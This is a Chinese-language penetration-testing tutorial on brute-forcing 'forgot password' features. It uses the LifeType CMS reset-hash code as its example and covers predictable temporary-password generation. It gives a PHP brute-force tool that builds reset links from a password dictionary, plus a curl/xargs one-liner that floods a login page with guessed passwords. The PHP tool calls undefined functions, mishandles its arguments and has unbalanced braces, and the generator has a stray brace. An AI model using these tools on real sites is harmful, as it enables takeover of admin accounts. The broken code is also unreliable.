作者:BlAck.Eagle
关于暴力破解技术大家基本都已经比较熟悉,但是笔者发现基于”密码重置”的暴力破解
技术还不是很多,所以笔者在本文中抛砖引玉,对渗透中的该方面的技术进行一下阐述
首先我们要重新认识一下,这里的”密码重置”指的什么?(如果你已经很清楚,可以跳
过这里),大家估计在登录现在很流行的邮箱系统,开源的CMS 系统的时候,估计都有遇到”
忘记密码”时的找回密码功能,没错,我们就是要对这种弱点进行下阐述。如”网易通行证”
的邮箱找回密码,如图1
图1
我们的目的是什么?当然我们的目的是想办法进入web 系统的后台,你也许会说,
去暴破这么冷清的一个地方,能有啥收获啊?其实不然,因为”密码找回”这个地方往往验证
较弱。“密码找回”最常见的有两种,”通过邮箱找回密码”和”通过密码提示问题找回密码” ,
这里我们主要是看前者,因为对于后者,密码提示问题往往是社会工程学需要做的,所以不
在本文讨论的范畴。
“通过邮箱找回密码”一般最常见的有两种情况,一种是在填写完ID 和Email(当然email
也需要些社工手段获取)之后,web 应用程序将发送一条带有特定hash 的链接到我们指定
的邮箱,我们定义为”link password reset”,另一种是web 应用程序生成一个临时密码给用
户,我们定义为”temp password reset”
我们采用白盒测试的手段来分析下两种的原理。
”link password reset”型暴破的分析
这种方式是很常见的,我们通过国外的lifetype CMS 来分析,lifetype 的密码找回如图2
关键文件有两个Summarysendresetemail.php 和Summarytools.class.php
Summarysendresetemail.php用于生成一条带有 hash的链接,发送到用户的邮箱,其中$requestHash 变量通过calculatePasswordResetHash()函数生成,然后当用户在邮箱中发 现这条链接的时候,点击的时候,web应用程序通过 Summarytools.class.php文件中的 verifyRequest ()函数进行验证
function SummarySendResetEmail( $actionInfo, $request )
{
$this->SummaryAction( $actionInfo, $request );
// data filtering
$f = new HtmlFilter();
$f->addFilter( new HtmlSpecialCharsFilter());
$this->_request->registerFilter( "userName", $f );
$this->_request->registerFilter( "userEmail", $f );
// data validation
$this->registerFieldValidator( "userName", new UsernameValidator()); $this->registerFieldValidator( "userEmail", new EmailValidator());
$this->setValidationErrorView( new SummaryView( "resetpassword" ));
}
function perform()
{
// 通过calculatePasswordResetHash 函数生成一个requestHash 变量
$requestHash = SummaryTools::calculatePasswordResetHash( $userInfo );
$config =& Config::getConfig();
$baseUrl = $config->getValue( "base_url" );
$resetUrl =
$baseUrl."/summary.php?op=setNewPassword&a=$requestHash&b=".md5($userInfo->getU
sername());
SummaryTools::sendResetEmail( $userInfo, $resetUrl );
$this->_view = new
SummaryMessageView( $this->_locale->tr( "password_reset_message_sent_ok" ));
$this->setCommonData();
………
Summarytools.class.php
<?php
function calculatePasswordResetHash( $userInfo )
{/**
需要知道管理的密码,邮箱,ID 才能生$requesthash
**/
$string = $userInfo->getPassword().$userInfo->getEmail().$userInfo->getId();
$requestHash = md5($string);
return $requestHash;
}
function verifyRequest( $userNameHash, $requestHash )
{
// make sure that the request is correct
lt_include( PLOG_CLASS_PATH."class/database/db.class.php" );
$users = new Users();
$db =& Db::getDb();
$prefix = Db::getPrefix();
//首先通过username 的md5 hash 查到当前用户这个对象
$query = "SELECT id, user, password, email, about, full_name, properties,
site_admin, resource_picture_id, status
FROM {$prefix}users
WHERE MD5(user) = '".Db::qstr($userNameHash)."'
AND status = ".USER_STATUS_ACTIVE;
$result = $db->Execute( $query );
if( !$result )
return false;
$row = $result->FetchRow();
$userInfo = $users->mapRow( $row );
// try to see if we can load the user...
if( !$userInfo )
return false;
?>
通过上述的分析我们可以发现,如果进行暴破,我们需要知道管理的密码(注意,管理的密
码我们是未知的,所以在暴破的时候,需要字典),邮箱,ID 才能生成$requesthash ,然后进一
步构造如下链接暴破,光知道这些还是不够的,我们还要确定一个标志,因为在请求失败的
时候,网页中均会出现”The parameters in the URL are not correct”,所以我们只要排除这个标
志就可以。
url/summary.php?op=setNewPassword&a=$requestHash&b=md5(username)的链接,如图3
图3
掌握了上述的原理,那么通过上述的分析我们可以构造出我们的php 版本的暴力利用工
具
<?php
ini_set("max_execution_time",0);//修改php 的最大允许时间为无限制
global $host,$path,$username,$email,$id;
function usage()
{
global $argv;
print(
"\n--+++============================================================+++--".
"\n--+++======LifeStyle CMS PassReset Crack========+++--".
"\n--+++============================================================+++--".
"\n[+] Usage: php ".$argv[0]." <hostname> <path> <username> <email> <id>".
"\n[+] Demo: php ".$argv[0]." localhost /test admin [email protected] 1".
"\n\n");
}
//sendMessage 函数用于建立并请求上述的临时链接。
function sendMessage($host,$path,$password,$username){
$conn = fsockopen($host, 80,$errno,$errstr,30);
if(!$conn){
echo "$errstr ($errno)<br />\n";
}else{
$postdata = "op=setNewPassword&a=".$password."&b=".md5($username);
global $password;
$filename = "password.txt";
if(!$email||!$id){
echo "please input email and id";
die ;
}else if(file_exists($filename) && is_readable($filename)){
$content = file_get_contents($filename);
$array = explode("\r\n", $content);
for($i =0; $i <count($array); $i++){
$password = md5(md5($array[$i]).$email.$id);
crack($host,$path,$password,$username);
}
}
}
if ($argc != 3)
usage();
$host = $argv[1];
$path = $argv[2];
$username = $argv[3];
$email = $argv[4];
$id = $argv[5];
createPassDic($host,$path,$username,$email,$id);
?>
测试了下,还是可以的,如图4
“temp password reset”型暴破的可行性分析
国外牛人iagox86 曾经对这种暴破进行分析,我有幸拜读过他的一篇这方面的文章,然后我
借鉴了他的一些思路和方法。”Temp password reset”大部分是在用户输入正确用户名和邮箱
的时候,生成一个随机密码,并把密码的md5 散列插入到数据库。然后在用户登录的时候
进行验证。我们重点来看一下它的随机密码生成算法是怎样的,下面的代码也是国外的cms
生成随机密码比较通用的一种:
<?php
function generate_random_password($length)
{
$chars = 'abcdefghijkmnopqrstuvwxyz023456789!@#$';
srand((double)microtime() * 1000000);
$passwd = '';
$chars_length = strlen($chars) - 1;
for ($i = 0; $i < $length; $i++)
$passwd .= substr($chars, (rand() % $chars_length), 1);
$passwd .= substr($chars, (rand() % $chars_length), 1);
echo $passwd . "\n";
}
}
generate_random_password($argv[1]);
?>
我们执行php tampPassCrack.php 14 >temp.txt 就可以得到我们的字典了。这个时候
我们一般就可以通过溯雪,wvs 之类的暴破工具来暴破了。
学习了下老外的思路,直接通过curl
$ cat temp.txt | xargs -P32 -I XXX curl -s -o XXX.out -d "username=admin&password=XXX"
http://192.168.1.5/crack/check.php
这个的意思就是首先显示temp.txt 文件,然后通过xargs 命令读取temp.txt 文件,执行curl